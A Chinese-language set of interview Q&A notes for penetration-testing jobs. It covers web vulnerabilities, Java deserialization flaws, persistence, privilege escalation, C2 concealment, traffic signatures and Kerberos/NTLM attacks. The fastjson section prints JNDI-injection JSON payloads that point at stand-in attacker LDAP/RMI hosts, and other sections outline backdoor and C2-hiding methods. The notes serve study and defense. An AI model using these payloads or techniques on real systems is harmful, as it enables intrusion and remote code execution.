面经整理
渗透测试
1、SQL注入的原理是什么
在Web表单或页面请求里插入恶意的数据库查询语句,最终达到欺骗服务器执行恶意的SQL命令
2、页面没有回显一般怎么判断存在注入点
通过延时注入或dnslog等第三方平台判断
3、Mysql报错注入一般最常用到哪些函数
floor、updatexml、extractvalue等
4、如何判断布尔型注入
页面返回是否正常、返回数据包的长度、使用延时注入sql语句
5、跨站攻击原理是什么
攻击者利用网站程序对用户输入过滤不足,在远程WEB页面的HTML代码中插入具有恶意目的的数据,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式
6、跨站攻击主要分为哪几种
分为三种:反射型、存储型和DOM型
7、反射型跨站和DOM型跨站的区别是什么
DOM型跨站脚本不会发送到服务器端执行,反射型会在服务器端执行。
8、跨站攻击常使用的html标签有哪些
script、img、svg、iframe
9、渗透思路
讲一讲渗透思路,以*.xxx.com域名为例 |
---|
一、信息收集 1、whois、邮箱、网站用户名 2、github信息收集(搜索目标网站邮箱及数据库帐号密码等信息) 3、微信公众号、QQ群、APP、小程序信息收集 4、子域名收集(layer、百度谷歌、subdomainsbrute、amass、github、fofa、shodan、威胁情报平台、HTTPS证书) 5、网站真实IP、IP段收集(需要绕CDN,绕CDN方法包括:DNS记录查询、通过子域名ip判断、通过注册帐号看邮件ip头、通过fofa等搜索、通过C段扫描查看C段内的网站是否都属于目标网站来判断真实IP段) |
二、扫描探测 1、收集完子域名后对目标批量扫描(AWVS、cms识别、POC扫描、目录扫描等) 2、收集完真实IP进行端口扫描、C段扫描(Nmap、masscan等) 3、常见端口漏洞(redis-6379端口-未授权访问,weblogic-7001-反序列化、SSRF、暴力破解,mongodb-27017-未授权访问等) |
10、网站登录框渗透思路
1、暴力破解
2、SQL注入
3、跨站脚本
4、未授权访问
5、页面源代码寻找js文件,看是否包含一些入口目录、敏感文件、帐号密码等信息
6、看是否为特定的cms,存在通用型漏洞
7、struts2或反序列化等命令执行漏洞
8、扫描网站其他端口,看是否存在漏洞
9、用户注册或帮助处是否能找出用户名泄露或用户名规律信息
10、密码找回逻辑漏洞
11、github查看是否存在敏感信息
11、使用测试账号对后台类系统进行测试,测试哪些漏洞
文件上传、sql注入、xss、csrf、越权
12、src大型目标信息搜集思路,知道公司名称
1、搜集公司名称、邮箱、电话 2、搜集一级域名 3、工具采集二级域名、端口 4、测试端口对应的服务或者网站 |
---|
13、逻辑漏洞举例
密码找回、越权、篡改数字、短信邮件泛洪等
14、windows server2003 提权exp
巴西烤肉、pr、iis6、iis7、使用脚本获取未打补丁编号找到对应exp
15、内网代理常用工具
metasploit、nc、lcx、regeorg、tunna、earthworm、reduh、大马自带反弹模块
16、端口扫描工具
nmap、masscan等
17、shiro
关键字rememberMe=deleteMe
利用:出网>反弹、不出网>写shell
原理:用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码–>AES解密–>反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞
550:Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
在 Apache Shiro<=1.2.4 版本中 AES 加密时采用的 key 是硬编码在代码中
721:由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。
相较于550而言,它不需要知道key的值,但是它需要一个合法用户的rememberMe cookie
出网协议:jndi、ldap、rmi、JRMP、JMX、JMS
18、weblogic
T3原理:利用RMI(远程方法调用) 机制的缺陷,通过 JRMP 协议(Java远程方法协议)达到执行任意反序列化代码,进而造成远程代码执行。
CVE-2014-4210:SSRF、SearchPublicRegistries.jsp页面使用远程服务器
CVE-2017-10271:WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞
CVE-2018-2894:未授权的两个页面存在任意上传getshell漏洞,可直接获取权限。/ws_utc/begin.do,/ws_utc/config.do
CVE-2019-2618:弱口令+文件上传
CVE-2018-2628:利用其他rmi绕过weblogic黑名单限制,然后在将加载的内容利用readObject解析,从而造成反序列化
CVE-2020-14882:构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console,并在 WebLogic Server Console 执行任意代码。
CVE-2020-14883:未授权访问得到管理员界面
CVE-2020-2551:类似于RMI反序列化漏洞(CVE-2017-3241),都是由于调用远程对象的实现存在缺陷,导致序列化对象任意构造
组合拳:14882+14883组合拳,14882做一个未授权访问,登到控制台,然后通过14883命令执行,写一个xml文件把命令写进去,让它去访问你的vps然后加载xml。
19、fastjson
原理:攻击者可以传入一个恶意构造的JSON内容,程序对其进行反序列化后得到恶意类并执行了恶意类中的恶意函数,进而导致代码执行。
1.2.24:fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证
1.2.47:绕过白名单
1.2.41:增加了checkAutoType()函数,黑白名单访问,在原类名头部加L,尾部加;即可绕过黑名单的同时加载类。
1.2.42:类名外部嵌套两层L和;
1.2.45:{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}}
1.2.47:loadClass中默认cache为true,利用分2步,首先使用java.lang.Class把获取到的类缓存到mapping中,然后直接从缓存中获取到了com.sun.rowset.jdbcRowSetlmpl这个类,绕过了黑名单机制。
1.2.62:{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://x.x.x.x:9999/exploit"}";
1.2.66:{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
不出网:
本地反序列化
常见的回显方式有三种:一种是直接将命令执行结果写入到静态资源文件里,如html、js等,然后通过http访问就可以直接看到结果。通过dnslog进行数据外带,但如果无法执行dns请求就无法验证了。直接将命令执行结果回显到请求Poc的HTTP响应中。
20、struts2
原理:在处理action的时候,调用底层的getter/setter来处理http的参数,将每一个http的参数声明为一个ONGL,通过构造恶意代码被ONGL处理后,只要有权限就可以执行任何DOS命令
判断:请求以action结尾
029:OGNL表达式来访问ActionContext中的对象数据
032:启用动态方法调用
045:基于Jakarta插件的文件上传功能时,有可能存在远程命令执行
046:设置Content-Disposition的filename字段或者设置Content-Length超过2G
048:漏洞成因是当ActionMessage接收客户可控的参数数据时,由于后续数据拼接传递后处理不当导致任意代码执行
052:使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,可被远程攻击。
053:Freemarker解析一次之后变成离开一个表达式,被OGNL解析第二次
059:标签属性二次解析
062:针对059绕过加强OGNL表达式沙盒
devMode:devMode模式开启
21、权限维持
Linux:crontab定时任务、ssh后门,进程注入,hook密码校验函数得到管理员密码、修改管理员二进制文件创建链接,使管理员在输入ls或者cd等这种命令的时候执行恶意脚本、pam后门、开机启动脚本
windows:隐藏用户、计划任务、开机自启、服务后门、黄金白银票据、DLL劫持
22、提权
windows
土豆全家桶、systeminfo提权辅助页面、注册表提权
系统漏洞提权
sc 命令提权(administrator–>system)
不带引号的服务路径
不安全的服务权限提升
绕过系统 UAC 提升
linux
脏牛、suid、find命令、rbash,git提权,sudoer提权
mysql
UDF提权
UDF(User Defined Funtion)用户自定义函数,通过添加新的函数,对mysql服务器进行功能扩充。
MOF加载提权
利用了C:\Windows\System32\wbem\MOF目录下的nullevt.mof文件每分钟会去执行一次的特性,向该文件中写入cmd命令,就会被执行
启动项重启提权
反弹shell
23、常见中间价漏洞
- IIS(PUT、短文件名猜解、远程代码执行、解析漏洞)
- Apache(解析漏洞、目录遍历)
- nginx(文件解析、目录遍历、CRLF注入、目录穿越)
- tomcat(远程代码执行、war后门部署)
- jboss(反序列化、任意文件上传、war后门)
24、内存马排查
- 内存马如何排查:
1、如果是jsp注入,日志中排查可以jsp的访问请求。
2、如果是代码执行漏洞,排查中间件的error.log,查看是否有可疑的报错,判断注入时间和方法。
3、根据业务使用的组件排查可能存在的java代码执行漏洞,spring的controller了类型的话根据上报webshell的url查找日志,filter或者listener类型,可能会有较多的404但是带有参数的请求。
25、反弹shell不出网
nc反弹、psexec、Neo-reGeorg代理、(ICMP、dns、http协议隧道)
26、CS上线隐藏
代理转发上线,DNS上线,CDN上线,域前置上线,云函数上线
DNS上线
一般我们拿到的shell都是,对出网有限制的,一般只能DNS出网,这时候就要用到我们 DNS 协议建立 C2 通信。一般waf不会分析DNS流量,这一点也是能够隐蔽的特性。
DNS_TXT隧道传输:控制端发送的对目标的操作命令被加密后通过DNS的TXT记录里,通过DNS隧道传输隐蔽性较强不易被发现,但传输速度非常慢。
CDN上线
CDN的IP是多个域名共用的,为了做到精确判断,CDN会解析我们的host头,根据这样的方式进行判断通信域名,这样我们设置上线IP设置为CDN服务器的IP,host设置为我们的DNS,达到隐藏IP的需求
云函数上线
云函数还是得益于Serverless架构,或者称为无服务器架构,是最近几年新冒出来的一种架构风格,仅需用户编写和上传核心业务代码,交由平台完成部署、调度、流量分发、弹性伸缩等能力。
我们就可以利用云函数,配置个流量转发,C2Client访问云函数,云函数将流量转发到咱们的C2服务器,一般云函数服务器都会配置CDN,这样速度还行,还可以达对C2服务器的隐藏。
27、CDN识别绕过
使用ping命令看回显
使用nslookup查询域名解析,看域名解析情况
使用超级ping工具,像Tools,all-toll.cn等
绕过:
- DNS历史解析记录
- 查找子域名
- 网站邮件头信息
- 网络空间安全引擎搜索
- 利用SSL证书寻找真实IP
- 国外主机解析域名
28、
代码审计
-
做过哪些代码审计,asp/aspx/php/java/python,用到什么工具
Kunlun-M、Fortify、cnseay代码审计工具等
-
讲讲代码审计的大概思路
1、通读代码及目录梳理Web实现逻辑;
2、查看配置文件config,有无信息泄露;
3、审计功能函数,例如PHP中include文件夹下的common_fun.php,或者有类似关键字的文件。
4、重点关注业务交互模块,是否存在常见web漏洞和逻辑漏洞;
5、通过搭建测试环境验证存在缺陷的功能模块是否存在安全漏洞
-
PHP Web中文件包含漏洞时主要关注那些函数
一般存在于模块加载,模板加载,cache调用,包括函数:include()/include_once(),require()/require_once()寻找可控变量
-
PHP Web中远程文件包含漏洞利用的前提条件
在php.ini 配置文件中开启 allow_url_fopen = On //是否允许将URL(如http://或ftp://)作为文件处理。 allow_url_include =On // 是否允许include/require打开URL(如http://或ftp://)作为文件处理。
注意:从PHP5.2开始allow_url_include就默认为Off了,而allow_url_fopen默认是On的。
-
PHP Web中有哪些命令执行函数
system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
-
JAVA web的MVC框架包含哪几部分,各有什么作用
模型(model)、视图(view)、控制器(controller);Model(模型) - 模型代表一个存取数据的对象或 JAVA POJO。它也可以带有逻辑,在数据变化时更新控制器。
View(视图) - 视图代表模型包含的数据的可视化。
Controller(控制器) - 控制器作用于模型和视图上。它控制数据流向模型对象,并在数据变化时更新视图。它使视图与模型分离开。
-
JAVA web SSRF漏洞应重点关注那些函数或calss
HttpClient.execute、HttpClient.executeMethod等
-
JAVA web中有哪些命令执行函数或calss
1).Runtime.exec //Runtime.getRuntime().exec(command)
2).ProcessBuilder.start //new ProcessBuilder(cmdArray).start(),取代了Process
3).GroovyShell.evaluate //主要用于在java中运行Groovy脚本shell.evaluate("
-
JAVA web反序列化漏洞应重点审计那些函数或class
1)ObjectInputStream.readObject //最常见的反序列化sink点,将流转化为object对象 2)ObjectInputStream.readUnshared //使用较少,和readobject有些区别 readUnshared()方法来读取对象,readUnshared()不允许后续的readObject和readUnshared调用引用这次调用反序列化得到的对象,而readObject读取的对象可以。 3)XMLDecoder.readObject //读取xml转化为object 4)XStream.fromXML //XStream用于java object与xml的相互转换,XStream.toXML(将java转换为xml) 5)一些第三方jar包中的,这些第三方jar包历史版本中存在序列化漏洞 ObjectMapper.readValue //jackson中的api JSON.parseObject //fastjson中的api 6)Yaml.load"
应急响应
-
linux的系统日志在哪?
/var/log目录
-
查看最后一次登录的命令是什么?
last
-
suid权限位是什么?
可以已普通用户运行但拥有系统权限
-
常见的检查rootkit工具是什么?
rkhunter和chkrootkit
-
centos6系列的shadow的用户密码是用什么方式加密的?如果破解?
1.centos6以上是sha512,centos6以下是sha256,能答sha加密也行
2.答join和hashcat工具或者www.xmd5.org在线破解都行
-
linux系统网卡中TX和RX分别是什么意思?
tx是发送也即是上行流量(transport),rx是接收也即是下行流量(receive)
APP测试
-
app测试评估流程
组件>通信->业务
-
APP客户端测试主要测试那几个方面的内容
通信安全、客户端安全、组件安全、业务安全
-
常用工具
drozer(测试组件安全);apktool、dex2jar、jd-gui、jeb、androidkiller(反编译)等;
ida(动态调试);frida(dump内存和动态注入);Fdex2(脱壳);Android Studio(hook工具开发或app调试);burpsuite(抓包、测试业务逻辑);justtrustme(绕过证书锁定)
-
安卓逆向思路或经验
思路大致位:查壳->找关键函数->脱壳
-
APP客户端-客户端安全安全测试常见漏洞
Activity劫持、进程注入、客户端完整性(重打包)、本地敏感信息存储
-
APP客户端业务安全测试常见漏洞
支付漏洞、逻辑校验漏洞、业务验证漏洞、信息泄露等
-
IOS客户端密钥链测试的工具或方法
使用密钥链查看工具Keychaindumper,查看所有密钥链中的数据。
-
android中的进程沙箱隔离机制
进程沙箱隔离机制,使得Android应用程序在安装时被赋予独特的用户标识(UID),并永久保持。应用程序及其运行的Dalvik虚拟机运行在独立的Linux进程空间,与其它应用程序完全隔离
-
android端app的常用加固方式
1.代码混淆 将代码转换成一种功能上等价,但是难于阅读和理解的形式的行为
2.普通加壳 源Apk进行加密,然后在套上一层壳
3.java2c Java2c主要是借助于JNI反射技术对java层的方法全部的反射为本地层,增大分析难度
4.VMP 将保护后的代码放到虚拟机中运行
-
apk脱壳的原理
普通加壳的情况下,apk在运行过程中会将dex放入内存中,因此从内存中就可以直接dump出来未加壳的dex文件,达到脱壳的目的
-
IOS客户端AppStore的应用脱壳,需要用到什么工具
dumpdecrypted.dylib(动态库)、class-dump(脱头文件)、一台已越狱的iPhone设备
-
IOS客户端安全测试有什么测试项
客户端完整性、本地存储敏感信息、通讯安全、业务逻辑
漏洞原理及修复
1、CSRF漏洞原理
挟持用户在当前已登录的Web应用程序上执行非本意的操作
防范:验证HTTP Referer字段;在请求地址中添加token并验证
2、XXE漏洞原理
应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件
防范:禁止外部实体解析,通过黑名单过滤用户提交的XML数据
3、SSRF
web应用都提供了从其他的服务器上获取数据的功能。使用指定的URL,web应用便可以获取图片,下载文件,读取文件内容等
防范:采取白名单,限制内网Ip。对返回内容进行识别禁用一些不必要的协议统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态过滤函数,file_get_contents fsockopen() curl_exec()
4、sql注入
原理:sql注入的原理是将sql代码伪装到输入参数中,传递到服务器解析并执行的一种攻击手法。
防御:预编译;检测id数据类型;过滤用户的输入
宽字节注入:数据库GBK编码
报错注入:updatexml、extractvalue、floor、exp
布尔注入:length、substr、mid、ascii、ord 流程:判断数据库长度>库名>表总>表长>表名>段长>段名
堆叠:;拼接多语句执行
sql盲注的优化知道吗?二分法,或者load_file用UNC路径发起请求,走smb服务,用dnslog来显示
5、xss
通过添加或修改页面JavaScript的恶意脚本,在浏览器渲染页面的时候执行该脚本,从而实现窃取cookie或者调用Ajax实现其他类型的CSRF。
6、文件上传
应用程序没有对用户上传的文件做严格的校验,那么可能会导致用户上传脚本文件,然后用户再通过访问这些文件的方式,来达到执行该脚本文件,从而控制服务器的目的。
修复:隐藏上传路径、随机文件名、白名单、文件头、文件类型
7、log4j
日志中包含 ${}
,lookup功能就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身。
8、Spring core RCE
利用class对象构造利⽤链,对Tomcat的日志配置进行修改,然后,向⽇志中写⼊shell
9、fastjson
在请求包里面中发送恶意的json格式payload,漏洞在处理json对象的时候,没有对@type
字段进行过滤,从而导致攻击者可以传入恶意的TemplatesImpl类
,而这个类有一个字段就是_bytecodes
,有部分函数会根据这个_bytecodes
生成java实例,这就达到fastjson
通过字段传入一个类,再通过这个类被生成时执行构造函数。
流量特征
1、CS流量特征
默认端口 50050
store证书特征 Alias name、Owner、Issuer字段 默认密码123456
0.0.0.0是Cobalt Strike DNS Beacon特征
2、sqlmap特征
sqlmap的关键字特征:user-agent、 xss测试语句、随机数的位数
sqlmap的攻击流程具有一定的顺序和规律
sqlmap的一些payload测试语句具有模板特征
3、webshell工具特征
-
蚁剑
可以对流量进行加密、混淆。但是有些关键代码没有被加密
php ini_set、set_time_limit
asp OnError ResumeNext,response
蚁剑混淆加密后还有一个比较明显的特征,即为参数名大多以“_0x…=”这种形式
每个请求体都存在@ini_set(“display_errors”, “0”);@set_time_limit(0)开头。并且存在base64等字符
响应包的结果返回格式为 随机数 结果 随机数
-
冰蝎
- content-type
- Accept&Cache-Control
- 内置16个ua头
- content-length请求长度
-
菜刀
2014 伪造UA头
函数分割 base加密
-
哥斯拉
php 请求都含有"pass="第一个包
jsp 含有"pass="而且发起连接时服务器返回的Content-Length是0
钓鱼
免杀
内网
1、内网票据
黄金票据:是指通过伪造TGT,来进行下一步的Kerberos认证,从而获取到访问服务器的ST。实际上只要拿到了域控权限,就可以直接导出krbtgt的Hash值,,再通过mimikatz即可生成任意用户任何权限的Ticket。
原理:AS应答Client时,会返回TGT、使用KDC生成的Client密钥加密KDC生成的Client/TGS SessionKey
制作条件:域名称、域SID、域KRBTGT账户密码HASH、伪装的用户名
防御:限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机(不要让其他管理员登录到这些服务器)将所有其他权限委派给自定义管理员组。
白银票据:是通过伪造ST获得权限,但因为所访问的对象在TGT中通过SID指定了,所以通过白银票据只能访问特定的服务。
原理:在TGS应答Client,会发送ST、使用Client/TGS SessionKey加密的Client/Server SessionKey。只要我们获得了对应Server的Hash,则可以伪造出自己的ST,从而访问特定服务(之所以是特定,是因为pac只能KDC制作和查看,我们无法伪造pac,所以只能访问不验证pac的服务,如cifs)。
制作条件:域名称、SID、目标主机、服务名称、目标主机hash值、任意用户名、ptt内存导入
特点:白银票据不经过域控、只能访问不验证pac的服务
增强版黄金票据:普通黄金票据不能跨域,只能在当前域使用,不能跨域,包括子域对父域的跨域。
制作:通过域内主机在迁移时LDAP库中的SIDHistory属性中保存的上一个域的SID值制作可以跨域的金票。如果知道根域的SID那么就可以通过子域的KRBTGT的HASH值,使用mimikatz创建具有 EnterpriseAdmins组权限(域林中的最高权限)的票据。
2、内网横向
$IPC、Psexec、WMI、Schtasks、AT、SC、WINRM
扩展具体方法:密码喷洒、IPC$、WMI、mimikatz、PTH、MS14-068、web漏洞、系统漏洞
命令:psexec,wmic,smbexec,winrm,net use共享+计划任务+type命令
3、域内委派
域委派是指将域内用户的权限委派给服务账户,使得服务账号能够以用户的权限在域内展开活动
协议层面讲,用户A委派DM$访问WEB服务,那么用户会将TGT缓存在DM的lsass中,DM再模拟这个用户去访问服务。
4、域内攻击方法
MS14-068、Roasting攻击离线爆破密码、委派攻击,非约束性委派、基于资源的约束委派、ntlm relay
5、域控定位
ipconfig /all systeminfo、net config workstation
6、KDC服务器
端口:88、464
Kerberos攻击方法:
- 用户名爆破
- 密码喷洒和密码爆破
- Kerberoasting
- ASRepRoasting
- 黄金票据和白银票据
- MS14-068
- 非约束委派、约束委派、基于资源的约束委派
- 票据传递(ptt/ptk/ptc)
- mimikatz加密降级攻击(万能钥匙)
- 使用恶意的kerberos证书做权限维持
7、NTLM认证
NTLM 身份验证
Windows 的 NTLM 认证就是利用 NTLM Hash 进行的认证,可以分为 本地认证 和 网络认证 两种方式。NTLM 的网络认证,既可用于域内的认证服务,又可用于工作组环境。NTLM 有 NTLMv1 、NTLMv2 、NTLMsession v2 三个版本,目前使用最多的是NTLMv2版本。
本地认证:
首先,用户注销、重启、锁屏后,操作系统会让 winlogon
显示登录界面,也就是输入框,接收输入后,将密码交给 lsass
进程,这个进程中会存一份明文密码,将明文密码加密成NTLM Hash
,对比 SAM数据库中的 Hash进行验证
认证流程:
- 客户端在本地加密当前用户的密码成为密码散列
- 客户端向服务器明文发送账号
- 服务器端产生一个16位的随机数字发送给客户端,作为一个challenge
- 客户端用加密后的密码散列来加密challenge,然后返回给服务器,作为response
- 服务器端将用户名、challenge、response发送给域控制器
- 域控制器用这个用户名在SAM密码管理库中找到这个用户的密码散列,然后使用这个密码散列来加密chellenge
- 域控制器比较两次加密的challenge,如果一样那么认证成功,反之认证失败